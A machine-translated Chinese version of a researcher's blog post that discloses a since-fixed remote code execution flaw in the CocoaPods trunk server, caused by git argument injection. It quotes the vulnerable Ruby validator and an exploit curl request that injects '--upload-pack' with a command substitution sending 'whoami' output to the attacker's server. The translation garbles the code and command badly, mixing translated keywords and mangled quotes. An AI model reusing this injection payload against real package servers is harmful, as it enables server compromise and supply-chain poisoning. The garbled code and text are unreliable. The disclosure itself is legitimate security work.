在Cocoapods中找到的远程代码执行

2021-04-22 11:29:24

TL; Cocoapods博士是一批由大量iOS应用程序使用的流行包管理器(以及其他SWIFT和Object-C Cocoa应用程序)。我在中央CocoApods服务器中找到了一个远程代码执行错误,该错误包含规范repo的键(https://trunk.cocoapods.org/)。此错误将允许攻击者毒害任何包下载。它现在已经修复了。

我使用信号iOS应用程序与我的朋友沟通。我真的很喜欢信号,以及我喜欢回馈我最喜欢的项目之一是试图在其中找到错误。

在通过应用程序的源浏览时,在浏览时介绍的第一件事是Podfile,列出了信号的Cocoapods依赖关系。我有一个历史悠久的包裹经理,所以我的第一个想法是在Cocoapods服务器中尝试找到一个错误。如果我们找到使用Cocoapods的每个应用程序的错误,为什么要发出信号?

将包规范上传到CocoApod时,它会尝试确保不小心链接到私有存储库。它曾经这样做如此:

def validate_git #we' ve' ve遇到了heroku' s git安装,请参阅trunk.cocoapods.org/pull/141 url = @specification。源[:git]除非URL,否则返回true。包括? (' github.com')|| URL。包括? (' bitbucket.org')ref = @specification。来源[:tag] || @规格 。来源[:提交] || @规格 。来源[:Branch] || '头' wrap_timeout {system(' git'' ls-remote',@specification。源[:git],ref。to_s)}结束

这里有几个问题。最重要的是攻击者通过@规范完全控制.source [:git]和ref.to_s,因此可以使用它们将标志传递给git。 Git LS-Remote采用可选的Flag --Upload-Pack,它会遇到shell中的内容。所以,如果@规格[:git]等于-ls-remote =" $(echo这可能是出乎意料的)" github.com和ref.to_s被解释为本地存储库,我们将在CocoApods服务器上运行攻击者的命令。

curl -x post-h"内容类型:应用程序/ json" -h'授权:令牌my_auth_token' " https://trunk.cocoapods.org/api/v1/pods& #34; - Data' {"来源":{" git":" - 上传 - 包= \" $(卷曲my-server:4775 /`whoami`)\" https://github.com/" ," ;; tag" ;:" ;;1.0.0"}} '

想想Cocoapods已经增加了多少价值,只是在开发人员节省时间!然后想想有多少巨大公司使用此软件。然后考虑安全审计的费用是多少。

您的依赖性经理可能会有错误,如果您正在进行安全敏感的东西,您应该真正仔细考虑此攻击矢量。

如果您希望获得依赖管理经理安全,您应该真正将以下视为有毒废物:

依赖性经理服务器希望公开有关包装(有毒废物)的一些元数据是常见的,并且频繁地通过炮击到某些版本控制软件(有毒废物)来实现。最好避免这样做,但如果你必须,你应该使用一个沙箱 - 我真的很喜欢这种事情的gvisor。

几个月前,我在proxy.golang.org中找到了一个RCE错误,这是向一些易受攻击的版本控制软件炮击。但由于GVISOR沙箱,我无法逃脱它是完全缓解的。

我正试图给慈善机构10,000张蚊帐!如果你喜欢这篇文章,请考虑捐赠2美元的蚊帐。